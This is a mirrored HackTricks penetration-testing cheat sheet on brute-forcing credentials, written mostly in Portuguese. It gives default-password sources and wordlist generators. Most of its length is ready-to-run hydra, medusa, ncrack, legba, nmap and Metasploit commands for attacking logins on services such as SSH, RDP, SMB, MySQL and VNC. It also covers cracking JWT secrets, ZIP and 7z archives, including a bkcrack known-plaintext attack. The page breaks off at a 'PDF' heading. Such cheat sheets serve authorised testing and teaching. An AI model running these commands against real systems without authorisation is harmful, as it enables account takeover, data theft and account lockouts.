mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 02:53:28 +00:00
821 lines
39 KiB
Markdown
821 lines
39 KiB
Markdown
# Brute Force - CheatSheet
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
|
||
Acesse hoje:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras maneiras de apoiar o HackTricks:
|
||
|
||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
## Credenciais Padrão
|
||
|
||
**Pesquise no Google** por credenciais padrão da tecnologia que está sendo usada, ou **experimente estes links**:
|
||
|
||
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
|
||
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
|
||
* [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm)
|
||
* [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/)
|
||
* [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/)
|
||
* [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list)
|
||
* [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv)
|
||
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
|
||
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
|
||
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
|
||
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
|
||
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
|
||
|
||
## **Crie seus próprios Dicionários**
|
||
|
||
Encontre o máximo de informações sobre o alvo que puder e gere um dicionário personalizado. Ferramentas que podem ajudar:
|
||
|
||
### Crunch
|
||
```bash
|
||
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
|
||
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
|
||
|
||
@ Lower case alpha characters
|
||
, Upper case alpha characters
|
||
% Numeric characters
|
||
^ Special characters including spac
|
||
crunch 6 8 -t ,@@^^%%
|
||
```
|
||
### Cewl
|
||
```bash
|
||
cewl example.com -m 5 -w words.txt
|
||
```
|
||
### [CUPP](https://github.com/Mebus/cupp)
|
||
|
||
Gerar senhas com base no seu conhecimento sobre a vítima (nomes, datas...)
|
||
```
|
||
python3 cupp.py -h
|
||
```
|
||
### [Wister](https://github.com/cycurity/wister)
|
||
|
||
Uma ferramenta geradora de listas de palavras, que permite fornecer um conjunto de palavras, dando a possibilidade de criar várias variações a partir das palavras fornecidas, criando uma lista de palavras única e ideal para usar em relação a um alvo específico.
|
||
```bash
|
||
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
|
||
|
||
__ _______ _____ _______ ______ _____
|
||
\ \ / /_ _|/ ____|__ __| ____| __ \
|
||
\ \ /\ / / | | | (___ | | | |__ | |__) |
|
||
\ \/ \/ / | | \___ \ | | | __| | _ /
|
||
\ /\ / _| |_ ____) | | | | |____| | \ \
|
||
\/ \/ |_____|_____/ |_| |______|_| \_\
|
||
|
||
Version 1.0.3 Cycurity
|
||
|
||
Generating wordlist...
|
||
[########################################] 100%
|
||
Generated 67885 lines.
|
||
|
||
Finished in 0.920s.
|
||
```
|
||
### [pydictor](https://github.com/LandGrey/pydictor)
|
||
|
||
### Listas de Palavras
|
||
|
||
* [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
|
||
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
|
||
* [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi)
|
||
* [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/google/fuzzing/tree/master/dictionaries)
|
||
* [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)
|
||
* [**https://weakpass.com/wordlist/**](https://weakpass.com/wordlist/)
|
||
* [**https://wordlists.assetnote.io/**](https://wordlists.assetnote.io/)
|
||
* [**https://github.com/fssecur3/fuzzlists**](https://github.com/fssecur3/fuzzlists)
|
||
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
|
||
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||
Acesse hoje:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
|
||
|
||
## Serviços
|
||
|
||
Ordenados alfabeticamente pelo nome do serviço.
|
||
|
||
### AFP
|
||
```bash
|
||
nmap -p 548 --script afp-brute <IP>
|
||
msf> use auxiliary/scanner/afp/afp_login
|
||
msf> set BLANK_PASSWORDS true
|
||
msf> set USER_AS_PASS true
|
||
msf> set PASS_FILE <PATH_PASSWDS>
|
||
msf> set USER_FILE <PATH_USERS>
|
||
msf> run
|
||
```
|
||
### AJP
|
||
```bash
|
||
nmap --script ajp-brute -p 8009 <IP>
|
||
```
|
||
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
|
||
```bash
|
||
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
|
||
```
|
||
### Cassandra
|
||
```bash
|
||
nmap --script cassandra-brute -p 9160 <IP>
|
||
# legba ScyllaDB / Apache Casandra
|
||
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
|
||
```
|
||
### CouchDB
|
||
```bash
|
||
msf> use auxiliary/scanner/couchdb/couchdb_login
|
||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
||
```
|
||
### Registro do Docker
|
||
```
|
||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
|
||
```
|
||
### Elasticsearch
|
||
|
||
Elasticsearch is a distributed, RESTful search and analytics engine capable of solving a growing number of use cases. It allows you to store, search, and analyze big volumes of data quickly and in near real time.
|
||
```
|
||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
||
```
|
||
### FTP
|
||
```bash
|
||
hydra -l root -P passwords.txt [-t 32] <IP> ftp
|
||
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
||
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
|
||
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
|
||
```
|
||
### Brute Force Genérico HTTP
|
||
|
||
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
|
||
|
||
### Autenticação Básica HTTP
|
||
```bash
|
||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
|
||
# Use https-get mode for https
|
||
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
|
||
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
|
||
```
|
||
### HTTP - NTLM
|
||
```bash
|
||
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||
```
|
||
### HTTP - Post Form
|
||
```bash
|
||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
||
# Use https-post-form mode for https
|
||
```
|
||
Para http**s** você tem que mudar de "http-post-form" para "**https-post-form"**
|
||
|
||
### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle
|
||
```bash
|
||
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
|
||
# Check also https://github.com/evilsocket/legba/wiki/HTTP
|
||
```
|
||
### IMAP
|
||
|
||
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. IMAP permits the user to view and manipulate the messages as though they were stored locally on the user's device.
|
||
```bash
|
||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
|
||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
|
||
nmap -sV --script imap-brute -p <PORT> <IP>
|
||
legba imap --username user --password data/passwords.txt --target localhost:993
|
||
```
|
||
### IRC
|
||
|
||
O IRC é um protocolo de comunicação utilizado para bate-papo em tempo real e troca de mensagens. É comum em ambientes de hacking devido à sua natureza descentralizada e à facilidade de anonimato.
|
||
```bash
|
||
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
|
||
```
|
||
### ISCSI
|
||
```bash
|
||
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
|
||
```
|
||
### JWT
|
||
```bash
|
||
#hashcat
|
||
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
|
||
|
||
#https://github.com/Sjord/jwtcrack
|
||
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
|
||
|
||
#John
|
||
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
|
||
|
||
#https://github.com/ticarpi/jwt_tool
|
||
python3 jwt_tool.py -d wordlists.txt <JWT token>
|
||
|
||
#https://github.com/brendan-rius/c-jwt-cracker
|
||
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8
|
||
|
||
#https://github.com/mazen160/jwt-pwn
|
||
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt
|
||
|
||
#https://github.com/lmammino/jwt-cracker
|
||
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
|
||
```
|
||
### LDAP
|
||
```bash
|
||
nmap --script ldap-brute -p 389 <IP>
|
||
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
|
||
```
|
||
### MQTT
|
||
```
|
||
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
|
||
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
|
||
```
|
||
### Mongo
|
||
```bash
|
||
nmap -sV --script mongodb-brute -n -p 27017 <IP>
|
||
use auxiliary/scanner/mongodb/mongodb_login
|
||
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
|
||
```
|
||
### MSSQL
|
||
|
||
O MSSQL é um sistema de gerenciamento de banco de dados relacional desenvolvido pela Microsoft. É comumente usado em aplicações corporativas e oferece recursos de segurança robustos.
|
||
```bash
|
||
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
|
||
```
|
||
### MySQL
|
||
```bash
|
||
# hydra
|
||
hydra -L usernames.txt -P pass.txt <IP> mysql
|
||
|
||
# msfconsole
|
||
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
|
||
|
||
# medusa
|
||
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql
|
||
|
||
#Legba
|
||
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
|
||
```
|
||
### OracleSQL
|
||
```bash
|
||
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
||
|
||
./odat.py passwordguesser -s $SERVER -d $SID
|
||
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
|
||
|
||
#msf1
|
||
msf> use admin/oracle/oracle_login
|
||
msf> set RHOSTS <IP>
|
||
msf> set RPORT 1521
|
||
msf> set SID <SID>
|
||
|
||
#msf2, this option uses nmap and it fails sometimes for some reason
|
||
msf> use scanner/oracle/oracle_login
|
||
msf> set RHOSTS <IP>
|
||
msf> set RPORTS 1521
|
||
msf> set SID <SID>
|
||
|
||
#for some reason nmap fails sometimes when executing this script
|
||
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
|
||
|
||
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
|
||
```
|
||
Para usar **oracle\_login** com **patator**, você precisa **instalar**:
|
||
```bash
|
||
pip3 install cx_Oracle --upgrade
|
||
```
|
||
[Força bruta de hash OracleSQL offline](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versões 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** e **11.2.0.3**):
|
||
```bash
|
||
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
|
||
```
|
||
### POP
|
||
|
||
POP (Post Office Protocol) é um protocolo de e-mail usado para recuperar e-mails de um servidor de e-mail.
|
||
```bash
|
||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
|
||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
|
||
|
||
# Insecure
|
||
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110
|
||
|
||
# SSL
|
||
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
|
||
```
|
||
### PostgreSQL
|
||
```bash
|
||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
|
||
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
|
||
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
|
||
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
|
||
use auxiliary/scanner/postgres/postgres_login
|
||
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
|
||
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432
|
||
```
|
||
### PPTP
|
||
|
||
Você pode baixar o pacote `.deb` para instalar em [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
|
||
```bash
|
||
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
|
||
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
|
||
```
|
||
### RDP
|
||
```bash
|
||
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
|
||
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
|
||
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
|
||
```
|
||
### Redis
|
||
```bash
|
||
msf> use auxiliary/scanner/redis/redis_login
|
||
nmap --script redis-brute -p 6379 <IP>
|
||
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
|
||
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
|
||
```
|
||
### Rexec
|
||
|
||
Rexec é um serviço que permite a execução remota de comandos em um sistema.
|
||
```bash
|
||
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
||
```
|
||
### Rlogin
|
||
|
||
Rlogin é um protocolo de rede que permite a um usuário fazer login em um sistema remoto. É vulnerável a ataques de força bruta devido à falta de mecanismos de segurança robustos. Durante um ataque de força bruta no Rlogin, um hacker tenta várias combinações de nomes de usuário e senhas para obter acesso não autorizado ao sistema remoto. É altamente recomendado desativar o Rlogin e usar métodos de autenticação mais seguros, como SSH.
|
||
```bash
|
||
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
||
```
|
||
### Rsh
|
||
```bash
|
||
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
||
```
|
||
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
|
||
|
||
### Rsync
|
||
```bash
|
||
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
|
||
```
|
||
### RTSP
|
||
|
||
### RTSP
|
||
```bash
|
||
hydra -l root -P passwords.txt <IP> rtsp
|
||
```
|
||
### SFTP
|
||
```bash
|
||
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
|
||
# Try keys from a folder
|
||
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
||
```
|
||
### SNMP
|
||
```bash
|
||
msf> use auxiliary/scanner/snmp/snmp_login
|
||
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
|
||
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
|
||
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
|
||
```
|
||
### SMB
|
||
```bash
|
||
nmap --script smb-brute -p 445 <IP>
|
||
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
|
||
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
|
||
```
|
||
### SMTP
|
||
```bash
|
||
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
|
||
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
|
||
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
|
||
```
|
||
### SOCKS
|
||
|
||
SOCKS (Socket Secure) é um protocolo de rede que permite a comunicação de pacotes entre servidores e clientes através de um firewall. Ele pode ser utilizado para redirecionar o tráfego da internet, contornar restrições geográficas e melhorar a privacidade e segurança online.
|
||
```bash
|
||
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
|
||
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
|
||
# With alternative address
|
||
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
|
||
```
|
||
### SQL Server
|
||
```bash
|
||
#Use the NetBIOS name of the machine as domain
|
||
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
|
||
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
|
||
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
|
||
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
|
||
```
|
||
### SSH
|
||
```bash
|
||
hydra -l root -P passwords.txt [-t 32] <IP> ssh
|
||
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
|
||
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
|
||
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
|
||
legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
|
||
# Try keys from a folder
|
||
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
||
```
|
||
#### Chaves SSH fracas / Debian PRNG previsível
|
||
|
||
Alguns sistemas possuem falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves dramaticamente reduzido que pode ser quebrado por ferramentas como [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Conjuntos pré-gerados de chaves fracas também estão disponíveis, como [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||
|
||
### STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ)
|
||
|
||
O protocolo de texto STOMP é um protocolo de mensagens amplamente utilizado que **permite comunicação e interação perfeitas com serviços populares de filas de mensagens** como RabbitMQ, ActiveMQ, HornetQ e OpenMQ. Ele fornece uma abordagem padronizada e eficiente para trocar mensagens e realizar várias operações de mensagens.
|
||
```bash
|
||
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
||
```
|
||
### Telnet
|
||
|
||
Telnet é um protocolo de rede que permite a comunicação bidirecional de texto em uma rede ou internet. É comumente usado em testes de penetração para tentativas de login por força bruta em serviços que utilizam esse protocolo.
|
||
```bash
|
||
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
||
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
||
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet
|
||
|
||
legba telnet \
|
||
--username admin \
|
||
--password wordlists/passwords.txt \
|
||
--target localhost:23 \
|
||
--telnet-user-prompt "login: " \
|
||
--telnet-pass-prompt "Password: " \
|
||
--telnet-prompt ":~$ " \
|
||
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
|
||
```
|
||
### VNC
|
||
|
||
Virtual Network Computing (VNC) é um sistema que permite controlar remotamente outro computador. O ataque de força bruta em um servidor VNC envolve tentar adivinhar as credenciais de login do usuário por meio de tentativas repetidas. Isso pode ser feito usando ferramentas automatizadas, como o Hydra, que testam uma lista de combinações de nome de usuário e senha em rápida sucessão. É importante usar senhas fortes e medidas de segurança adicionais, como limitar o número de tentativas de login, para proteger um servidor VNC contra ataques de força bruta.
|
||
```bash
|
||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
|
||
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
|
||
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
|
||
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
|
||
use auxiliary/scanner/vnc/vnc_login
|
||
nmap -p 5900,5901 --script vnc-brute --script-args brute.credfile=wordlist.txt <IP>
|
||
legba vnc --target localhost:5901 --password data/passwords.txt
|
||
|
||
#Metasploit
|
||
use auxiliary/scanner/vnc/vnc_login
|
||
set RHOSTS <ip>
|
||
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
|
||
```
|
||
### Winrm
|
||
```bash
|
||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||
```
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
|
||
Acesse hoje mesmo:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
|
||
|
||
## Local
|
||
|
||
### Bancos de dados de quebra online
|
||
|
||
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
|
||
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 com/sem ESS/SSP e com qualquer valor de desafio)
|
||
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, capturas WPA2 e arquivos MSOffice, ZIP, PDF...)
|
||
* [https://crackstation.net/](https://crackstation.net) (Hashes)
|
||
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
|
||
* [https://gpuhash.me/](https://gpuhash.me) (Hashes e hashes de arquivos)
|
||
* [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes)
|
||
* [https://www.cmd5.org/](https://www.cmd5.org) (Hashes)
|
||
* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
|
||
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
|
||
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
|
||
|
||
Verifique isso antes de tentar fazer força bruta em um Hash.
|
||
|
||
### ZIP
|
||
```bash
|
||
#sudo apt-get install fcrackzip
|
||
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
|
||
```
|
||
|
||
```bash
|
||
zip2john file.zip > zip.john
|
||
john zip.john
|
||
```
|
||
|
||
```bash
|
||
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
|
||
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
||
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
|
||
```
|
||
#### Ataque de força bruta de texto simples conhecido
|
||
|
||
Você precisa saber o **texto simples** (ou parte do texto simples) **de um arquivo contido dentro** do zip criptografado. Você pode verificar **nomes de arquivos e tamanho dos arquivos contidos dentro** de um zip criptografado executando: **`7z l encrypted.zip`**\
|
||
Baixe o [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) na página de lançamentos.
|
||
```bash
|
||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||
zip plaintext.zip plaintext.file
|
||
|
||
./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
|
||
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
|
||
# With that key you can create a new zip file with the content of encrypted.zip
|
||
# but with a different pass that you set (so you can decrypt it)
|
||
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
|
||
unzip unlocked.zip #User new_pwd as password
|
||
```
|
||
### 7z
|
||
|
||
### 7z
|
||
```bash
|
||
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
|
||
```
|
||
|
||
```bash
|
||
#Download and install requirements for 7z2john
|
||
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
|
||
apt-get install libcompress-raw-lzma-perl
|
||
./7z2john.pl file.7z > 7zhash.john
|
||
```
|
||
### PDF
|
||
|
||
